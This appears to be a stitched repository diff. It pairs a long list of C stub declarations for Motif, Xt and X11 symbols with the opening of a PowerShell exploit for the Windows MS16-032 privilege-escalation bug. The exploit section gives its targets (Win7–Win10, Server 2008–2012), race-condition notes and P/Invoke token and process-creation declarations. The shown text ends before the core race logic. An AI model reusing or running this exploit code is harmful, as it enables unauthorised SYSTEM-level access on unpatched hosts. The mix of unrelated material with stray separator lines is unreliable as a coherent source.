int _XmTextFieldSetDestination = 0;
|
||||
int XmTextFieldSetEditable = 0;
|
||||
int XmTextFieldSetHighlight = 0;
|
||||
int XmTextFieldSetInsertionPosition = 0;
|
||||
int XmTextFieldSetMaxLength = 0;
|
||||
int _XmTextFieldSetSel2 = 0;
|
||||
int XmTextFieldSetSelection = 0;
|
||||
int XmTextFieldSetString = 0;
|
||||
int XmTextFieldSetStringWcs = 0;
|
||||
int XmTextFieldShowPosition = 0;
|
||||
int _XmTextFieldStartSelection = 0;
|
||||
int xmTextFieldWidgetClass = 0;
|
||||
int XmTextFieldXYToPos = 0;
|
||||
int _XmTextFindLineEnd = 0;
|
||||
int _XmTextFindScroll = 0;
|
||||
int XmTextFindString = 0;
|
||||
int _XmTextFindStringBackwards = 0;
|
||||
int _XmTextFindStringForwards = 0;
|
||||
int XmTextFindStringWcs = 0;
|
||||
int _XmTextFPrimClassExtRec = 0;
|
||||
int _XmTextFreeContextData = 0;
|
||||
int _XmTextFToggleCursorGC = 0;
|
||||
int XmTextGetAddMode = 0;
|
||||
int _XmTextGetAnchor = 0;
|
||||
int XmTextGetBaseline = 0;
|
||||
int _XmTextGetBaseLine = 0;
|
||||
int XmTextGetBaseLine = 0;
|
||||
int _XmTextGetBaselines = 0;
|
||||
int XmTextGetCenterline = 0;
|
||||
int XmTextGetCursorPosition = 0;
|
||||
int _XmTextGetDisplayRect = 0;
|
||||
int _XmTextGetDropReciever = 0;
|
||||
int XmTextGetEditable = 0;
|
||||
int XmTextGetInsertionPosition = 0;
|
||||
int XmTextGetLastPosition = 0;
|
||||
int _XmTextGetLineTable = 0;
|
||||
int XmTextGetMaxLength = 0;
|
||||
int _XmTextGetNumberLines = 0;
|
||||
int _XmTextGetSel2 = 0;
|
||||
int XmTextGetSelection = 0;
|
||||
int XmTextGetSelectionPosition = 0;
|
||||
int XmTextGetSelectionWcs = 0;
|
||||
int XmTextGetSource = 0;
|
||||
int XmTextGetString = 0;
|
||||
int XmTextGetStringWcs = 0;
|
||||
int XmTextGetSubstring = 0;
|
||||
int XmTextGetSubstringWcs = 0;
|
||||
int _XmTextGetTableIndex = 0;
|
||||
int XmTextGetTopCharacter = 0;
|
||||
int _XmTextGetTotalLines = 0;
|
||||
int _XmTextHandleSecondaryFinished = 0;
|
||||
int _XmTextHasDestination = 0;
|
||||
int _XmTextInputCreate = 0;
|
||||
int _XmTextInputGetSecResData = 0;
|
||||
int XmTextInsert = 0;
|
||||
int XmTextInsertWcs = 0;
|
||||
int _XmTextInstallTransferTrait = 0;
|
||||
int _XmTextInvalidate = 0;
|
||||
int _XmTextIn_XmTextEventBindings1 = 0;
|
||||
int _XmTextIn_XmTextEventBindings2 = 0;
|
||||
int _XmTextIn_XmTextEventBindings3 = 0;
|
||||
int _XmTextIn_XmTextVEventBindings = 0;
|
||||
int _XmTextLineInfo = 0;
|
||||
int _XmTextLoseSelection = 0;
|
||||
int _XmTextMarginsProc = 0;
|
||||
int _XmTextMarkRedraw = 0;
|
||||
int _XmTextModifyVerify = 0;
|
||||
int _XmTextMovingCursorPosition = 0;
|
||||
int _XmTextNeedsPendingDeleteDis = 0;
|
||||
int _XmTextNumLines = 0;
|
||||
int _XmTextOutLoadGCsAndRecolorCursors = 0;
|
||||
int _XmTextOutputCreate = 0;
|
||||
int _XmTextOutputGetSecResData = 0;
|
||||
int XmTextPaste = 0;
|
||||
int XmTextPasteLink = 0;
|
||||
int _XmTextPosToLine = 0;
|
||||
int XmTextPosToXY = 0;
|
||||
int _XmTextPrimClassExtRec = 0;
|
||||
int _XmTextRealignLineTable = 0;
|
||||
int XmTextRemove = 0;
|
||||
int _XmTextReplace = 0;
|
||||
int XmTextReplace = 0;
|
||||
int XmTextReplaceWcs = 0;
|
||||
int _XmTextResetClipOrigin = 0;
|
||||
int _XmTextResetIC = 0;
|
||||
int XmTextScroll = 0;
|
||||
int _XmTextScrollable = 0;
|
||||
int XmTextSetAddMode = 0;
|
||||
int _XmTextSetCursorPosition = 0;
|
||||
int XmTextSetCursorPosition = 0;
|
||||
int _XmTextSetDestinationSelection = 0;
|
||||
int _XmTextSetEditable = 0;
|
||||
int XmTextSetEditable = 0;
|
||||
int _XmTextSetHighlight = 0;
|
||||
int XmTextSetHighlight = 0;
|
||||
int XmTextSetInsertionPosition = 0;
|
||||
int XmTextSetMaxLength = 0;
|
||||
int _XmTextSetPreeditPosition = 0;
|
||||
int _XmTextSetSel2 = 0;
|
||||
int XmTextSetSelection = 0;
|
||||
int XmTextSetSource = 0;
|
||||
int XmTextSetString = 0;
|
||||
int XmTextSetStringWcs = 0;
|
||||
int _XmTextSetTopCharacter = 0;
|
||||
int XmTextSetTopCharacter = 0;
|
||||
int _XmTextShouldWordWrap = 0;
|
||||
int _XmTextShowPosition = 0;
|
||||
int XmTextShowPosition = 0;
|
||||
int _XmTextToggleCursorGC = 0;
|
||||
int _XmTextToLocaleText = 0;
|
||||
int _XmTextUpdateLineTable = 0;
|
||||
int _XmTextValidate = 0;
|
||||
int _XmTextValueChanged = 0;
|
||||
int xmTextWidgetClass = 0;
|
||||
int XmTextXYToPos = 0;
|
||||
int _XmToggleBCacheCompare = 0;
|
||||
int _XmToggleB_defaultTranslations = 0;
|
||||
int _XmToggleBGadClassExtRec = 0;
|
||||
int _XmToggleB_menuTranslations = 0;
|
||||
int _XmToggleBPrimClassExtRec = 0;
|
||||
int xmToggleButtonClassRec = 0;
|
||||
int xmToggleButtonGadgetClass = 0;
|
||||
int xmToggleButtonGadgetClassRec = 0;
|
||||
int XmToggleButtonGadgetGetState = 0;
|
||||
int XmToggleButtonGadgetSetState = 0;
|
||||
int XmToggleButtonGadgetSetValue = 0;
|
||||
int xmToggleButtonGCacheObjClassRec = 0;
|
||||
int XmToggleButtonGetState = 0;
|
||||
int XmToggleButtonSetState = 0;
|
||||
int XmToggleButtonSetValue = 0;
|
||||
int xmToggleButtonWidgetClass = 0;
|
||||
int _XmToHorizontalPixels = 0;
|
||||
int _XmToLayoutDirection = 0;
|
||||
int _XmToolTipEnter = 0;
|
||||
int XmToolTipGetLabel = 0;
|
||||
int _XmToolTipLeave = 0;
|
||||
int _XmToolTipRemove = 0;
|
||||
int _XmToPanedPixels = 0;
|
||||
int _XmTopShadowColorDefault = 0;
|
||||
int _XmTopShadowPixmapDefault = 0;
|
||||
int _XmToVerticalPixels = 0;
|
||||
int XmTrackingEvent = 0;
|
||||
int XmTrackingLocate = 0;
|
||||
int _XmTrackShellFocus = 0;
|
||||
int XmTransferDone = 0;
|
||||
int _XmTransferGetDestinationCBStruct = 0;
|
||||
int XmTransferSendRequest = 0;
|
||||
int XmTransferSetParameters = 0;
|
||||
int XmTransferStartRequest = 0;
|
||||
int XmTransferValue = 0;
|
||||
int _XmTransformSubResources = 0;
|
||||
int XmTranslateKey = 0;
|
||||
int _XmTraverse = 0;
|
||||
int _XmTraverseAway = 0;
|
||||
int _XmTraverseDown = 0;
|
||||
int _XmTraverseHome = 0;
|
||||
int _XmTraverseLeft = 0;
|
||||
int _XmTraverseNext = 0;
|
||||
int _XmTraverseNextTabGroup = 0;
|
||||
int _XmTraversePrev = 0;
|
||||
int _XmTraversePrevTabGroup = 0;
|
||||
int _XmTraverseRight = 0;
|
||||
int _XmTraverseUp = 0;
|
||||
int _XmTravGraphAdd = 0;
|
||||
int _XmTravGraphRemove = 0;
|
||||
int _XmTravGraphUpdate = 0;
|
||||
int xmTreeClassRec = 0;
|
||||
int xmTreeWidgetClass = 0;
|
||||
int XmuNCopyISOLatin1Lowered = 0;
|
||||
int _XmUnhighlightBorder = 0;
|
||||
int XmUninstallImage = 0;
|
||||
int _XmUnitTypeDefault = 0;
|
||||
int XmUpdateDisplay = 0;
|
||||
int _XmUseColorObj = 0;
|
||||
int xmUseVersion = 0;
|
||||
int _XmUtf8ToUcs2 = 0;
|
||||
int _XmUtilIsSubclassByNameQ = 0;
|
||||
int XmVaCreateArrowButton = 0;
|
||||
int XmVaCreateArrowButtonGadget = 0;
|
||||
int XmVaCreateBulletinBoard = 0;
|
||||
int XmVaCreateButtonBox = 0;
|
||||
int XmVaCreateCascadeButton = 0;
|
||||
int XmVaCreateCascadeButtonGadget = 0;
|
||||
int XmVaCreateColorSelector = 0;
|
||||
int XmVaCreateColumn = 0;
|
||||
int XmVaCreateCombinationBox2 = 0;
|
||||
int XmVaCreateComboBox = 0;
|
||||
int XmVaCreateCommand = 0;
|
||||
int XmVaCreateContainer = 0;
|
||||
int XmVaCreateDataField = 0;
|
||||
int XmVaCreateDrawingArea = 0;
|
||||
int XmVaCreateDrawnButton = 0;
|
||||
int XmVaCreateDropDown = 0;
|
||||
int XmVaCreateExt18List = 0;
|
||||
int XmVaCreateFileSelectionBox = 0;
|
||||
int XmVaCreateForm = 0;
|
||||
int XmVaCreateFrame = 0;
|
||||
int XmVaCreateIconGadget = 0;
|
||||
int XmVaCreateLabel = 0;
|
||||
int XmVaCreateLabelGadget = 0;
|
||||
int XmVaCreateList = 0;
|
||||
int XmVaCreateMainWindow = 0;
|
||||
int XmVaCreateManagedArrowButton = 0;
|
||||
int XmVaCreateManagedArrowButtonGadget = 0;
|
||||
int XmVaCreateManagedBulletinBoard = 0;
|
||||
int XmVaCreateManagedButtonBox = 0;
|
||||
int XmVaCreateManagedCascadeButton = 0;
|
||||
int XmVaCreateManagedCascadeButtonGadget = 0;
|
||||
int XmVaCreateManagedColorSelector = 0;
|
||||
int XmVaCreateManagedColumn = 0;
|
||||
int XmVaCreateManagedCombinationBox2 = 0;
|
||||
int XmVaCreateManagedComboBox = 0;
|
||||
int XmVaCreateManagedCommand = 0;
|
||||
int XmVaCreateManagedContainer = 0;
|
||||
int XmVaCreateManagedDataField = 0;
|
||||
int XmVaCreateManagedDrawingArea = 0;
|
||||
int XmVaCreateManagedDrawnButton = 0;
|
||||
int XmVaCreateManagedDropDown = 0;
|
||||
int XmVaCreateManagedExt18List = 0;
|
||||
int XmVaCreateManagedFileSelectionBox = 0;
|
||||
int XmVaCreateManagedForm = 0;
|
||||
int XmVaCreateManagedFrame = 0;
|
||||
int XmVaCreateManagedIconGadget = 0;
|
||||
int XmVaCreateManagedLabel = 0;
|
||||
int XmVaCreateManagedLabelGadget = 0;
|
||||
int XmVaCreateManagedList = 0;
|
||||
int XmVaCreateManagedMainWindow = 0;
|
||||
int XmVaCreateManagedMessageBox = 0;
|
||||
int XmVaCreateManagedMultiList = 0;
|
||||
int XmVaCreateManagedNotebook = 0;
|
||||
int XmVaCreateManagedPanedWindow = 0;
|
||||
int XmVaCreateManagedPushButton = 0;
|
||||
int XmVaCreateManagedPushButtonGadget = 0;
|
||||
int XmVaCreateManagedRowColumn = 0;
|
||||
int XmVaCreateManagedScale = 0;
|
||||
int XmVaCreateManagedScrollBar = 0;
|
||||
int XmVaCreateManagedScrolledWindow = 0;
|
||||
int XmVaCreateManagedSelectionBox = 0;
|
||||
int XmVaCreateManagedSeparator = 0;
|
||||
int XmVaCreateManagedSeparatorGadget = 0;
|
||||
int XmVaCreateManagedSimpleSpinBox = 0;
|
||||
int XmVaCreateManagedSpinBox = 0;
|
||||
int XmVaCreateManagedTabStack = 0;
|
||||
int XmVaCreateManagedText = 0;
|
||||
int XmVaCreateManagedTextField = 0;
|
||||
int XmVaCreateManagedToggleButton = 0;
|
||||
int XmVaCreateManagedToggleButtonGadget = 0;
|
||||
int XmVaCreateMessageBox = 0;
|
||||
int XmVaCreateMultiList = 0;
|
||||
int XmVaCreateNotebook = 0;
|
||||
int XmVaCreatePanedWindow = 0;
|
||||
int XmVaCreatePushButton = 0;
|
||||
int XmVaCreatePushButtonGadget = 0;
|
||||
int XmVaCreateRowColumn = 0;
|
||||
int XmVaCreateScale = 0;
|
||||
int XmVaCreateScrollBar = 0;
|
||||
int XmVaCreateScrolledWindow = 0;
|
||||
int XmVaCreateSelectionBox = 0;
|
||||
int XmVaCreateSeparator = 0;
|
||||
int XmVaCreateSeparatorGadget = 0;
|
||||
int XmVaCreateSimpleCheckBox = 0;
|
||||
int XmVaCreateSimpleMenuBar = 0;
|
||||
int XmVaCreateSimpleOptionMenu = 0;
|
||||
int XmVaCreateSimplePopupMenu = 0;
|
||||
int XmVaCreateSimplePulldownMenu = 0;
|
||||
int XmVaCreateSimpleRadioBox = 0;
|
||||
int XmVaCreateSimpleSpinBox = 0;
|
||||
int XmVaCreateSpinBox = 0;
|
||||
int XmVaCreateTabStack = 0;
|
||||
int XmVaCreateText = 0;
|
||||
int XmVaCreateTextField = 0;
|
||||
int XmVaCreateToggleButton = 0;
|
||||
int XmVaCreateToggleButtonGadget = 0;
|
||||
int _XmValidateFocus = 0;
|
||||
int _XmValidCursorIconQuark = 0;
|
||||
int _XmValidTimestamp = 0;
|
||||
int _XmVaToTypedArgList = 0;
|
||||
int _XmVendorExtRealize = 0;
|
||||
int xmVendorShellExtClassRec = 0;
|
||||
int xmVendorShellExtObjectClass = 0;
|
||||
int _XmVersionString = 0;
|
||||
int _XmVirtKeys_acornFallbackBindingString = 0;
|
||||
int _XmVirtKeys_apolloFallbackBindingString = 0;
|
||||
int _XmVirtKeys_dblclkFallbackBindingString = 0;
|
||||
int _XmVirtKeys_decFallbackBindingString = 0;
|
||||
int _XmVirtKeysDestroy = 0;
|
||||
int _XmVirtKeys_dgFallbackBindingString = 0;
|
||||
int _XmVirtKeys_fallbackBindingString = 0;
|
||||
int _XmVirtKeysHandler = 0;
|
||||
int _XmVirtKeys_hpFallbackBindingString = 0;
|
||||
int _XmVirtKeys_ibmFallbackBindingString = 0;
|
||||
int _XmVirtKeys_ingrFallbackBindingString = 0;
|
||||
int _XmVirtKeysInitialize = 0;
|
||||
int _XmVirtKeysLoadFallbackBindings = 0;
|
||||
int _XmVirtKeysLoadFileBindings = 0;
|
||||
int _XmVirtKeys_megatekFallbackBindingString = 0;
|
||||
int _XmVirtKeys_motorolaFallbackBindingString = 0;
|
||||
int _XmVirtKeys_sgiFallbackBindingString = 0;
|
||||
int _XmVirtKeys_siemens9733FallbackBindingString = 0;
|
||||
int _XmVirtKeys_siemensWx200FallbackBindingString = 0;
|
||||
int _XmVirtKeys_sunFallbackBindingString = 0;
|
||||
int _XmVirtKeys_tekFallbackBindingString = 0;
|
||||
int _XmVirtualToActualKeysym = 0;
|
||||
int _XmWarning = 0;
|
||||
int _XmWarningMsg = 0;
|
||||
int _XmWhitePixel = 0;
|
||||
int _XmWidgetFocusChange = 0;
|
||||
int XmWidgetGetBaselines = 0;
|
||||
int XmWidgetGetDisplayRect = 0;
|
||||
int _XmWidgetIsTraversable = 0;
|
||||
int xmWorldClass = 0;
|
||||
int xmWorldClassRec = 0;
|
||||
int xmWorldObjectClass = 0;
|
||||
int _XmWriteDragBuffer = 0;
|
||||
int _XmWriteDSToStream = 0;
|
||||
int _XmWriteInitiatorInfo = 0;
|
||||
int _XmXftDrawCreate = 0;
|
||||
int _XmXftDrawDestroy = 0;
|
||||
int _XmXftDrawString = 0;
|
||||
int _XmXftDrawString2 = 0;
|
||||
int _XmXftFontAverageWidth = 0;
|
||||
int _XmXftGetXftColor = 0;
|
||||
int _XmXftSetClipRectangles = 0;
|
||||
int _Xmxpmatoui = 0;
|
||||
int _XmxpmColorKeys = 0;
|
||||
int _XmxpmCreateImageFromPixmap = 0;
|
||||
int _XmxpmCreatePixmapFromImage = 0;
|
||||
int _XmxpmDataTypes = 0;
|
||||
int _XmxpmFreeColorTable = 0;
|
||||
int _XmxpmFreeRgbNames = 0;
|
||||
int _XmxpmGetCmt = 0;
|
||||
int _XmxpmGetRgbName = 0;
|
||||
int _XmxpmGetString = 0;
|
||||
int _XmxpmHashIntern = 0;
|
||||
int _XmxpmHashSlot = 0;
|
||||
int _XmxpmHashTableFree = 0;
|
||||
int _XmxpmHashTableInit = 0;
|
||||
int _XmxpmInitAttributes = 0;
|
||||
int _XmxpmInitXpmImage = 0;
|
||||
int _XmxpmInitXpmInfo = 0;
|
||||
int _XmxpmNextString = 0;
|
||||
int _XmxpmNextUI = 0;
|
||||
int _XmxpmNextWord = 0;
|
||||
int _XmxpmParseColors = 0;
|
||||
int _XmxpmParseData = 0;
|
||||
int _XmxpmParseDataAndCreate = 0;
|
||||
int _XmxpmParseExtensions = 0;
|
||||
int _XmxpmParseHeader = 0;
|
||||
int _XmxpmParseValues = 0;
|
||||
int _XmxpmReadRgbNames = 0;
|
||||
int _XmxpmSetAttributes = 0;
|
||||
int _XmxpmSetInfo = 0;
|
||||
int _XmxpmSetInfoMask = 0;
|
||||
int _Xmxpm_xynormalizeimagebits = 0;
|
||||
int _Xmxpm_znormalizeimagebits = 0;
|
||||
int XNextEvent = 0;
|
||||
int XOffsetRegion = 0;
|
||||
int XOMOfOC = 0;
|
||||
int XOpenDisplay = 0;
|
||||
int XOpenIM = 0;
|
||||
int XParseColor = 0;
|
||||
int XPeekEvent = 0;
|
||||
int XPending = 0;
|
||||
int Xpms_popen = 0;
|
||||
int XPolygonRegion = 0;
|
||||
int XPutBackEvent = 0;
|
||||
int XPutImage = 0;
|
||||
int XQueryBestCursor = 0;
|
||||
int XQueryColor = 0;
|
||||
int XQueryColors = 0;
|
||||
int XQueryPointer = 0;
|
||||
int XQueryTree = 0;
|
||||
int XRaiseWindow = 0;
|
||||
int XReadBitmapFileData = 0;
|
||||
int XRecolorCursor = 0;
|
||||
int XRectInRegion = 0;
|
||||
int XReparentWindow = 0;
|
||||
int XrmCombineDatabase = 0;
|
||||
int XrmDestroyDatabase = 0;
|
||||
int XrmGetStringDatabase = 0;
|
||||
int XrmPermStringToQuark = 0;
|
||||
int XrmPutResource = 0;
|
||||
int XrmPutStringResource = 0;
|
||||
int XrmQGetResource = 0;
|
||||
int XrmQGetSearchList = 0;
|
||||
int XrmQGetSearchResource = 0;
|
||||
int XrmQuarkToString = 0;
|
||||
int XrmStringToQuark = 0;
|
||||
int XrmUniqueQuark = 0;
|
||||
int XRotateBuffers = 0;
|
||||
int XSaveContext = 0;
|
||||
int XScreenCount = 0;
|
||||
int XScreenNumberOfScreen = 0;
|
||||
int XScreenOfDisplay = 0;
|
||||
int XSelectInput = 0;
|
||||
int XSendEvent = 0;
|
||||
int XSetClipMask = 0;
|
||||
int XSetClipOrigin = 0;
|
||||
int XSetClipRectangles = 0;
|
||||
int XSetCloseDownMode = 0;
|
||||
int XSetErrorHandler = 0;
|
||||
int XSetFillStyle = 0;
|
||||
int XSetForeground = 0;
|
||||
int XSetFunction = 0;
|
||||
int XSetICFocus = 0;
|
||||
int XSetICValues = 0;
|
||||
int XSetInputFocus = 0;
|
||||
int XSetLineAttributes = 0;
|
||||
int XSetLocaleModifiers = 0;
|
||||
int XSetOCValues = 0;
|
||||
int XSetRegion = 0;
|
||||
int XSetSelectionOwner = 0;
|
||||
int XSetStipple = 0;
|
||||
int XSetTextProperty = 0;
|
||||
int XSetTSOrigin = 0;
|
||||
int XSetWindowBackground = 0;
|
||||
int XSetWindowBackgroundPixmap = 0;
|
||||
int XSetWMColormapWindows = 0;
|
||||
int XShapeCombineMask = 0;
|
||||
int XShapeCombineRectangles = 0;
|
||||
int XShapeQueryExtension = 0;
|
||||
int __xstat64 = 0;
|
||||
int XStoreBuffer = 0;
|
||||
int XStoreColor = 0;
|
||||
int XStringToKeysym = 0;
|
||||
int XSubtractRegion = 0;
|
||||
int XSync = 0;
|
||||
int XtAddCallback = 0;
|
||||
int XtAddEventHandler = 0;
|
||||
int XtAddGrab = 0;
|
||||
int XtAddRawEventHandler = 0;
|
||||
int XtAllocateGC = 0;
|
||||
int XtAppAddTimeOut = 0;
|
||||
int XtAppAddWorkProc = 0;
|
||||
int XtAppCreateShell = 0;
|
||||
int XtAppErrorMsg = 0;
|
||||
int XtAppGetExitFlag = 0;
|
||||
int XtAppGetSelectionTimeout = 0;
|
||||
int XtAppLock = 0;
|
||||
int XtAppNextEvent = 0;
|
||||
int XtAppPending = 0;
|
||||
int XtAppProcessEvent = 0;
|
||||
int XtAppSetSelectionTimeout = 0;
|
||||
int XtAppSetTypeConverter = 0;
|
||||
int XtAppSetWarningMsgHandler = 0;
|
||||
int XtAppUnlock = 0;
|
||||
int XtAppWarningMsg = 0;
|
||||
int XtAugmentTranslations = 0;
|
||||
int XtBuildEventMask = 0;
|
||||
int XtCallActionProc = 0;
|
||||
int XtCallCallbackList = 0;
|
||||
int XtCallCallbacks = 0;
|
||||
int XtCallConverter = 0;
|
||||
int XtCalloc = 0;
|
||||
int XtCancelSelectionRequest = 0;
|
||||
int XtConfigureWidget = 0;
|
||||
int XtConvertAndStore = 0;
|
||||
int XtConvertCase = 0;
|
||||
int XtCreateManagedWidget = 0;
|
||||
int XtCreatePopupShell = 0;
|
||||
int XtCreateSelectionRequest = 0;
|
||||
int XtCreateWidget = 0;
|
||||
int XtCreateWindow = 0;
|
||||
int XtCvtStringToFontSet = 0;
|
||||
int XtCvtStringToFontStruct = 0;
|
||||
int XtCvtStringToPixel = 0;
|
||||
int XtDatabase = 0;
|
||||
int XtDestroyApplicationContext = 0;
|
||||
int XtDestroyWidget = 0;
|
||||
int XtDisownSelection = 0;
|
||||
int XtDispatchEvent = 0;
|
||||
int XtDisplayOfObject = 0;
|
||||
int XtDisplayStringConversionWarning = 0;
|
||||
int XtDisplayToApplicationContext = 0;
|
||||
int XtError = 0;
|
||||
int XtErrorMsg = 0;
|
||||
int XTextExtents = 0;
|
||||
int XTextExtents16 = 0;
|
||||
int XTextWidth = 0;
|
||||
int XTextWidth16 = 0;
|
||||
int XtFree = 0;
|
||||
int XtGetActionKeysym = 0;
|
||||
int XtGetApplicationNameAndClass = 0;
|
||||
int XtGetApplicationResources = 0;
|
||||
int XtGetConstraintResourceList = 0;
|
||||
int XtGetErrorDatabaseText = 0;
|
||||
int XtGetGC = 0;
|
||||
int XtGetKeysymTable = 0;
|
||||
int XtGetMultiClickTime = 0;
|
||||
int XtGetResourceList = 0;
|
||||
int XtGetSelectionParameters = 0;
|
||||
int XtGetSelectionRequest = 0;
|
||||
int XtGetSelectionValue = 0;
|
||||
int XtGetSelectionValueIncremental = 0;
|
||||
int XtGetSelectionValues = 0;
|
||||
int XtGetSelectionValuesIncremental = 0;
|
||||
int XtGetSubresources = 0;
|
||||
int XtGetSubvalues = 0;
|
||||
int XtGetValues = 0;
|
||||
int XtGrabButton = 0;
|
||||
int XtGrabKey = 0;
|
||||
int XtGrabKeyboard = 0;
|
||||
int XtGrabPointer = 0;
|
||||
int XtHasCallbacks = 0;
|
||||
int _XtInherit = 0;
|
||||
int _XtInheritTranslations = 0;
|
||||
int XtInitializeWidgetClass = 0;
|
||||
int XtInsertEventHandler = 0;
|
||||
int XtInstallAccelerators = 0;
|
||||
int XtIsManaged = 0;
|
||||
int XtIsSensitive = 0;
|
||||
int XtIsSubclass = 0;
|
||||
int _XtIsSubclassOf = 0;
|
||||
int XtLastEventProcessed = 0;
|
||||
int XtLastTimestampProcessed = 0;
|
||||
int XtMakeGeometryRequest = 0;
|
||||
int XtMakeResizeRequest = 0;
|
||||
int XtMalloc = 0;
|
||||
int XtManageChild = 0;
|
||||
int XtManageChildren = 0;
|
||||
int XtMergeArgLists = 0;
|
||||
int XtMoveWidget = 0;
|
||||
int XtName = 0;
|
||||
int XtNameToWidget = 0;
|
||||
int XtOverrideTranslations = 0;
|
||||
int XtOwnSelection = 0;
|
||||
int XtOwnSelectionIncremental = 0;
|
||||
int XtParseAcceleratorTable = 0;
|
||||
int XtParseTranslationTable = 0;
|
||||
int XtPopdown = 0;
|
||||
int XtPopup = 0;
|
||||
int XtProcessLock = 0;
|
||||
int XtProcessUnlock = 0;
|
||||
int XtQueryGeometry = 0;
|
||||
int XTranslateCoordinates = 0;
|
||||
int XtRealizeWidget = 0;
|
||||
int XtRealloc = 0;
|
||||
int XtRegisterGrabAction = 0;
|
||||
int XtReleaseGC = 0;
|
||||
int XtRemoveAllCallbacks = 0;
|
||||
int XtRemoveCallback = 0;
|
||||
int XtRemoveEventHandler = 0;
|
||||
int XtRemoveGrab = 0;
|
||||
int XtRemoveTimeOut = 0;
|
||||
int XtRemoveWorkProc = 0;
|
||||
int XtResizeWidget = 0;
|
||||
int XtResolvePathname = 0;
|
||||
int XtScreenDatabase = 0;
|
||||
int XtScreenOfObject = 0;
|
||||
int XtSendSelectionRequest = 0;
|
||||
int XtSetKeyboardFocus = 0;
|
||||
int XtSetKeyTranslator = 0;
|
||||
int XtSetMappedWhenManaged = 0;
|
||||
int XtSetSelectionParameters = 0;
|
||||
int XtSetSensitive = 0;
|
||||
int XtSetSubvalues = 0;
|
||||
int XtSetTypeConverter = 0;
|
||||
int XtSetValues = 0;
|
||||
int XtShellStrings = 0;
|
||||
int XtStrings = 0;
|
||||
int XtTranslateCoords = 0;
|
||||
int XtTranslateKey = 0;
|
||||
int XtUngrabButton = 0;
|
||||
int XtUngrabKey = 0;
|
||||
int XtUngrabKeyboard = 0;
|
||||
int XtUngrabPointer = 0;
|
||||
int XtUnmanageChild = 0;
|
||||
int XtUnmanageChildren = 0;
|
||||
int XtVaCreateManagedWidget = 0;
|
||||
int XtVaCreateWidget = 0;
|
||||
int XtVaGetValues = 0;
|
||||
int XtVaSetValues = 0;
|
||||
int XtWarning = 0;
|
||||
int XtWarningMsg = 0;
|
||||
int XtWidgetToApplicationContext = 0;
|
||||
int XtWindowOfObject = 0;
|
||||
int XtWindowToWidget = 0;
|
||||
int XUngrabKeyboard = 0;
|
||||
int XUngrabPointer = 0;
|
||||
int XUngrabServer = 0;
|
||||
int XUnionRectWithRegion = 0;
|
||||
int XUnionRegion = 0;
|
||||
int XUnmapWindow = 0;
|
||||
int XUnsetICFocus = 0;
|
||||
int Xutf8DrawImageString = 0;
|
||||
int Xutf8DrawString = 0;
|
||||
int Xutf8TextEscapement = 0;
|
||||
int Xutf8TextExtents = 0;
|
||||
int Xutf8TextListToTextProperty = 0;
|
||||
int XVaCreateNestedList = 0;
|
||||
int XWarpPointer = 0;
|
||||
int XwcDrawImageString = 0;
|
||||
int XwcDrawString = 0;
|
||||
int XwcTextEscapement = 0;
|
||||
int XwcTextExtents = 0;
|
||||
int XWidthOfScreen = 0;
|
||||
int XWindowEvent = 0;
|
||||
int XWithdrawWindow = 0;
|
||||
int overrideShellWidgetClass = 0;
|
||||
Binary file not shown.
@@ -1,347 +1,371 @@
|
||||
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
||||
# All rights reserved
|
||||
Add-Type -TypeDefinition @"
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
#function Invoke-MS16-032 {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
PowerShell implementation of MS16-032. The exploit targets all vulnerable
|
||||
operating systems that support PowerShell v2+. Credit for the discovery of
|
||||
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
|
||||
|
||||
Targets:
|
||||
|
||||
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
|
||||
* Tested on x32 Win7, x64 Win8, x64 2k12R2
|
||||
|
||||
Notes:
|
||||
|
||||
* In order for the race condition to succeed the machine must have 2+ CPU
|
||||
cores. If testing in a VM just make sure to add a core if needed mkay.
|
||||
* Want to know more about MS16-032 ==>
|
||||
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||
public struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SQOS
|
||||
{
|
||||
public int Length;
|
||||
public int ImpersonationLevel;
|
||||
public int ContextTrackingMode;
|
||||
public bool EffectiveOnly;
|
||||
}
|
||||
|
||||
public static class Advapi32
|
||||
{
|
||||
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||
public static extern bool CreateProcessWithLogonW(
|
||||
String userName,
|
||||
String domain,
|
||||
String password,
|
||||
int logonFlags,
|
||||
String applicationName,
|
||||
String commandLine,
|
||||
int creationFlags,
|
||||
int environment,
|
||||
String currentDirectory,
|
||||
ref STARTUPINFO startupInfo,
|
||||
out PROCESS_INFORMATION processInformation);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool SetThreadToken(
|
||||
ref IntPtr Thread,
|
||||
IntPtr Token);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenThreadToken(
|
||||
IntPtr ThreadHandle,
|
||||
int DesiredAccess,
|
||||
bool OpenAsSelf,
|
||||
out IntPtr TokenHandle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError=true)]
|
||||
public static extern bool OpenProcessToken(
|
||||
IntPtr ProcessHandle,
|
||||
int DesiredAccess,
|
||||
ref IntPtr TokenHandle);
|
||||
|
||||
